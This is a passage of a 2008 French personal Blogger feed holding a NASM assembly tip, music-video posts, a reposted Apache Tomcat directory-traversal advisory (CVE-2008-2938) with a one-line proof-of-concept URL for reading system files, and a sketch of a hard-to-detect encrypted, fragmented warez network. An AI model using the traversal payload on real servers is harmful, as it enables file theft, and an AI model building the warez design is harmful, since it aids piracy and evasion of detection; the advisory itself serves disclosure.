href="http://2.bp.blogspot.com/_orYbpGQL4hA/SKHQSekNAcI/AAAAAAAAAAo/WN7iQX2cE4U/s1600-h/table.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_orYbpGQL4hA/SKHQSekNAcI/AAAAAAAAAAo/WN7iQX2cE4U/s400/table.png" alt="" id="BLOGGER_PHOTO_ID_5233693257842360770" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Ben maintenant, on à écrit un programme en assembleur Nasm, va peut être finir par falloir... l'assembler justement... Comment on fait? On cherche :]&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_orYbpGQL4hA/SKRGbpSVEsI/AAAAAAAAAAw/d7cniCCjzLQ/s1600-h/1.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_orYbpGQL4hA/SKRGbpSVEsI/AAAAAAAAAAw/d7cniCCjzLQ/s400/1.PNG" alt="" id="BLOGGER_PHOTO_ID_5234386107664503490" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So, pour assembler, on va tout simplement faire&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;nasm programme1.asm -o programme1.com&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Wahou, ca y est, je pense que maintenant nous sommes de vrais fous! La suite un de ces 4 :p&lt;br /&gt;Byebye&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-2341322721637642417?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/2341322721637642417/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=2341322721637642417' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/2341322721637642417'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/2341322721637642417'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2008/08/soyons-des-fous.html' title='Soyons des fous!!!'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_orYbpGQL4hA/SKHQSekNAcI/AAAAAAAAAAo/WN7iQX2cE4U/s72-c/table.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-4696385744545310122</id><published>2008-08-12T10:15:00.000+02:00</published><updated>2008-08-12T10:55:21.626+02:00</updated><title type='text'>Surf Session du Mardi, riz dans les raviolis...</title><content type='html'>Ca c'est supayr, pis ya des zanimaux:&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/n1wnOUH2jk8&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/n1wnOUH2jk8&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;Bat For Lashes - What's a girl to do&lt;br /&gt;&lt;br /&gt;Une petite pour un des mes amis qu'il n'est pas la peine de citer, vu que je suis le seul a le connaitre:&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;object width="420" height="307"&gt;&lt;param name="movie" value="http://www.dailymotion.com/swf/k1RuwzzrJGNRWrdFD&amp;colors=background:B32424;&amp;related=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.dailymotion.com/swf/k1RuwzzrJGNRWrdFD&amp;colors=background:B32424;&amp;related=1" type="application/x-shockwave-flash" width="420" height="307" allowFullScreen="true" allowScriptAccess="always"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;b&gt;&lt;a href="http://www.dailymotion.com/video/x14jt_primus-wynonas-big-brown-beaver_music"&gt;Primus - Wynona&amp;#039;s Big Brown Beaver&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;i&gt;envoy&amp;eacute; par &lt;a href="http://www.dailymotion.com/bunglefever"&gt;bunglefever&lt;/a&gt;&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Vieux, moche, pas trop connu... Légendaire:&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/X9dAEbuNFQE&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/X9dAEbuNFQE&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;Hallucinogen - LSD (Album Twisted)&lt;br /&gt;&lt;br /&gt;Et puis bien sur... LE grand classique :&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;object width="420" height="365"&gt;&lt;param name="movie" value="http://www.dailymotion.com/swf/k4VPXX6kgLozYR1nng&amp;colors=background:B32424;&amp;related=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.dailymotion.com/swf/k4VPXX6kgLozYR1nng&amp;colors=background:B32424;&amp;related=1" type="application/x-shockwave-flash" width="420" height="365" allowFullScreen="true" allowScriptAccess="always"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;b&gt;&lt;a href="http://www.dailymotion.com/video/x7186_prodigy-smack-my-bitch-up_music"&gt;Prodigy - Smack My Bitch Up&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;i&gt;envoy&amp;eacute; par &lt;a href="http://www.dailymotion.com/napolitz"&gt;napolitz&lt;/a&gt;&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;A part ca il s'en passe un peu sur le net, attention aux zyeux les emo geeks transpirants (je suis pas dans le tas) : &lt;a href="http://www.jeuxvideo.com/news/2008/00028040-une-nouvelle-lara-croft.htm"&gt;C'est ICI&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Un dernier pour se dire au revoir:&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/Z6hL6fkJ1_k&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/Z6hL6fkJ1_k&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;Infected Msuhroom - Becoming Insane&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-4696385744545310122?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/4696385744545310122/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=4696385744545310122' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/4696385744545310122'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/4696385744545310122'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2008/08/surf-session-du-mardi-riz-dans-les.html' title='Surf Session du Mardi, riz dans les raviolis...'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-4537307698440988315</id><published>2008-08-11T17:47:00.000+02:00</published><updated>2008-09-09T15:23:48.724+02:00</updated><title type='text'>Haha! Saloperie de Tomcat...</title><content type='html'>... c'est de la merde, je lacherais jamais l'affaire :p&lt;br /&gt;&lt;br /&gt;&lt;div style="border:1px solid white;font-size:10px;padding:2px;"&gt;&lt;br /&gt;Title: Apache Tomcat Directory Traversal Vulnerability&lt;br /&gt;Author: Simon Ryeo(bar4mi (at) gmail.com, barami (at) ahnlab.com)&lt;br /&gt;Severity: High&lt;br /&gt;Impact: Remote File Disclosure&lt;br /&gt;Vulnerable Version: prior to 6.0.18&lt;br /&gt;Solution:&lt;br /&gt; - Best Choice: Upgrade to 6.0.18 (http://tomcat.apache.org)&lt;br /&gt; - Hot fix: Disable allowLinking or do not set URIencoding to utf8 in order to avoid this vulnerability.&lt;br /&gt; - Tomcat 5.5.x and 4.1.x Users: The fix will be included in the next releases. Please apply the hot fix until next release.&lt;br /&gt;References:&lt;br /&gt; - http://tomcat.apache.org/security.html&lt;br /&gt; - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2938&lt;br /&gt;History:&lt;br /&gt; - 07.17.2008: Initiate notify (To Apache Security Team)&lt;br /&gt; - 08.02.2008: Responsed this problem fixed and released new version&lt;br /&gt; - 08.05.2008: Notify disclosure (To Apache Tomcat Security Team)&lt;br /&gt; - 08.10.2008: Responsed with some suggestions.&lt;br /&gt;&lt;br /&gt;Description&lt;br /&gt;As Apache Security Team, this problem occurs because of JAVA side.&lt;br /&gt;If your context.xml or server.xml allows 'allowLinking'and 'URIencoding' as&lt;br /&gt;'UTF-8', an attacker can obtain your important system files.(e.g.  /etc/passwd)&lt;br /&gt;&lt;br /&gt;Exploit&lt;br /&gt;If your webroot directory has three depth(e.g /usr/local/wwwroot), An&lt;br /&gt;attacker can access arbitrary files as below. (Proof-of-concept)&lt;br /&gt;&lt;br /&gt;http://www.target.com/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/foo/bar&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.milw0rm.com/exploits/6229"&gt;# milw0rm.com [2008-08-11]&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Et puis, tant qu'on parle de Milw0rm, un petit truc que j'avais plutôt bien aimé : &lt;a href="http://www.milw0rm.com/video/watch.php?id=70"&gt;ICI&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-4537307698440988315?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/4537307698440988315/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=4537307698440988315' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/4537307698440988315'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/4537307698440988315'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2008/08/haha-saloperie-de-tomcat.html' title='Haha! Saloperie de Tomcat...'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-1157735334453216251</id><published>2008-08-11T11:56:00.000+02:00</published><updated>2008-08-11T14:04:49.959+02:00</updated><title type='text'>Un peu de SéRiEuX?</title><content type='html'>Un petit truc auquel j'ai pensé.... Un machin pour lequel faudrait un peu de gens motivés en fait (des coderz hein, les autres, crevez).&lt;br /&gt;&lt;br /&gt;Alors voila, je pense qu'il est possible de monter un réseau warez pratiquement indétectable et cela assez simplement :]&lt;br /&gt;&lt;br /&gt;Le &lt;span style="font-weight:bold;"&gt;principe&lt;/span&gt; :p :&lt;br /&gt;&lt;br /&gt; - Chaque fichier proposé est chiffré dans son intégralité.&lt;br /&gt; - Le fichier chiffré est splité en une multitude de petits fichiers (disons que 50 pour un fichier de 700 Mo saybien).&lt;br /&gt; - On génère des noms de fichiers aléatoires pour ces fichiers. &lt;br /&gt; - Les fichiers sont répartis sur une multitude de serveurs Web et FTP, l'adresse de chaque fragment est consignée en base de données et un fichier rassemblant des informations importantes est généré (adresse de chaque fragment, nombre de fragments, checksum...).&lt;br /&gt; - Ce fichier est stocké sur un serveur Web et indexé par un moteur de recherche.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Dans la pratique&lt;/span&gt;, comment on leech? :D&lt;br /&gt;&lt;br /&gt;Il faudra tout d'abord être inscrit (clef de chiffrement oblige). Et la j'ai fait un schéma pour expliquer la suite!!! (Je me dématérialise complètement devant la toute puissance de MS Viso)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_orYbpGQL4hA/SKAbJvQOeKI/AAAAAAAAAAc/l_BzcS-Df_w/s1600-h/Dessin1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://3.bp.blogspot.com/_orYbpGQL4hA/SKAbJvQOeKI/AAAAAAAAAAc/l_BzcS-Df_w/s400/Dessin1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5233212621121812642" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Alors&lt;/span&gt;...&lt;br /&gt;&lt;br /&gt; 1 - Le client récupère le fichier via l'interface Web&lt;br /&gt; 2 - Le fichier est ouvert par un exécutable (fourni sur le site Web) &lt;br /&gt; 3 - Cet exécutable va vérifier la disponibilité des fragments et leurs adresses &lt;br /&gt; 4 - Le programme récupère ensuite la liste des adresses des fragments et met à jour le fichier de départ sur le serveur Web, si nécessaire.&lt;br /&gt; 5 - Le programme télécharge chaque fragment du fichier.&lt;br /&gt; 6 - Les fragments sont rassemblés et déchiffrés.&lt;br /&gt;&lt;br /&gt;[...] A suivre :]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-1157735334453216251?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/1157735334453216251/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=1157735334453216251' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/1157735334453216251'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/1157735334453216251'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2008/08/un-peu-de-srieux.html' title='Un peu de SéRiEuX?'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_orYbpGQL4hA/SKAbJvQOeKI/AAAAAAAAAAc/l_BzcS-Df_w/s72-c/Dessin1.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-6361538369337332518</id><published>2008-08-11T10:15:00.000+02:00</published><updated>2008-08-11T19:36:17.845+02:00</updated><title type='text'>Semaine 1, Jour 1 : Déja plus de vivres...</title><content type='html'>... reste une tablette de chocolat&lt;br /&gt;&lt;br /&gt;Spécialement pour mon AzTeK préféré:&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/mVFbMgTTmcQ&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/mVFbMgTTmcQ&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br/&gt;DJ Kash - Chocolat&lt;br /&gt;&lt;br /&gt;"&lt;span style="font-style:italic;"&gt;Le rap était nul, on a fait redevenir ca bien&lt;/span&gt;" :&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/4lsOLjJ29UE&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/4lsOLjJ29UE&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br/&gt;TTC - Végétarienne&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-6361538369337332518?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/6361538369337332518/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=6361538369337332518' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/6361538369337332518'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/6361538369337332518'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2008/08/semaine-1-jour-1-dja-plus-de-vivres.html' title='Semaine 1, Jour 1 : Déja plus de vivres...'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-5873173673915449836</id><published>2008-08-10T13:53:00.000+02:00</published><updated>2008-08-11T19:36:44.818+02:00</updated><title type='text'>Ouverturage d'un blog 0o</title><content type='html'>Je ne sait trop quoi faire en ce dimanche (matin?) d'Aout, alors je me dis pourquoi pas ouvrir un blogalacon comme tout le monde? Hum voila c'est fait et je me retrouve obligé de publier un premier billet -_- J'ai faim, mal au crane et je sais pas quoi écrire, donc, je vais poster ce que je suis en train d'écouter, ca ira plus vite.&lt;br /&gt;Bon... c'est usé, on y moleste des grands mères et des représentants des forces de l'ordre, mais l'effet musical recherché est présent :p&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;"Un clip indiffusable à la TV pour un titre indiffusable en radio"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/GsmzNB_eXek&amp;amp;hl=en&amp;amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/GsmzNB_eXek&amp;amp;hl=en&amp;amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br/&gt;Justice - Stress&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-5873173673915449836?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/5873173673915449836/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=5873173673915449836' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/5873173673915449836'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/5873173673915449836'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2008/08/ouverturage-dun-blog-0o.html' title='Ouverturage d&apos;un blog 0o'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><thr:total>1</thr:total></entry></feed>
